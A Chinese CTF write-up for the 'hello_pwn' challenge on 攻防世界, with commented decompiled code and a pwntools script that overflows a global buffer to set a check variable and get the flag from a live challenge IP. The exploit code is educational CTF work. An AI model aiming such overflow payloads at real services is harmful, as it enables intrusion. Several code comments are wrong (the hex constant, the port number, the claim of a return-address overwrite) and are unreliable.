攻防世界|hello_pwn|
用nc连接后发现要我们输入东西,输入错误就断开连接了


先用checksec扫描一下
用IDA打开附件F5反编译

找到main主函数,进行代码审计

(详细代码审计如下)
点击查看代码
// 64位整数类型的main函数,使用fastcall调用约定
// 参数说明:
// a1: 命令行参数数量(argc)
// a2: 命令行参数数组(argv)
// a3: 环境变量数组(envp)
__int64 __fastcall main(int a1, char **a2, char **a3)
{
// 设置闹钟,0x3C等于60秒,程序将在60秒后终止
// 这是CTF题目中常见的防超时机制
alarm(0x3Cu);
// 禁用标准输出缓冲区,使printf等输出函数立即显示内容
setbuf(stdout, 0LL);
// 输出欢迎信息,提示这是一个CTF题目
puts("~~ welcome to ctf ~~ ");
// 提示这是一个获取helloworld的缓冲区溢出题目
puts("lets get helloworld for bof");
// 从标准输入(0)读取数据到地址&unk_601068,最多读取0x10(16)字节
// 这是缓冲区溢出的关键函数
read(0, &unk_601068, 0x10uLL);
// 检查dword_60106C的值是否等于1853186401
// 1853186401对应的十六进制是0x6E6F7761,可能是某个字符串的ASCII码反转
if ( dword_60106C == 1853186401 )
// 如果条件满足,调用sub_400686函数,很可能是获取flag的函数
sub_400686();
// 主函数返回0,程序正常退出
return 0LL;
}
如果dword_60106C == 1853186401,那么执行sub_400686函数
注意我们只能对unk_601068进行数据的传递
再次审计sub_400686函数

输出flag.txt的内容

可以看出,unk_601068溢出 4 个位置就是dword_60106C
因此我们可以让unk_601068溢出4个字节,就可以传到dword_60106C上了
代码如下:
点击查看代码
# 导入pwntools库,这是CTF中常用的漏洞利用工具集,提供了网络交互、数据处理等功能
from pwn import *
# 建立与远程目标服务器的连接,参数为目标IP地址和端口号
# 这里连接的是61.147.171.103的61651端口
p = remote('61.147.171.103', 62063)
# 构造漏洞利用 payload:
# b'a'*4 表示发送4个字节的小写字母'a',用于填充缓冲区
# p64(0x6E756161) 表示将十六进制值0x6E756161转换为64位小端字节序
# 这个值很可能是要覆盖到返回地址的目标地址(可能是某个函数的地址)
payload = b'a'*4 + p64(0x6E756161)
# 等待接收服务器发送的特定字符串,直到"lets get helloworld for bof\n"出现
# 这用于同步交互,确保在正确的时机发送payload
p.recvuntil(b'lets get helloworld for bof\n')
# 将构造好的payload发送给服务器
p.sendline(payload)
# 进入交互式模式,允许用户与服务器进行直接交互
# 通常用于执行漏洞利用后获取shell并进行后续操作
p.interactive()
最终可得到flag

浙公网安备 33010602011771号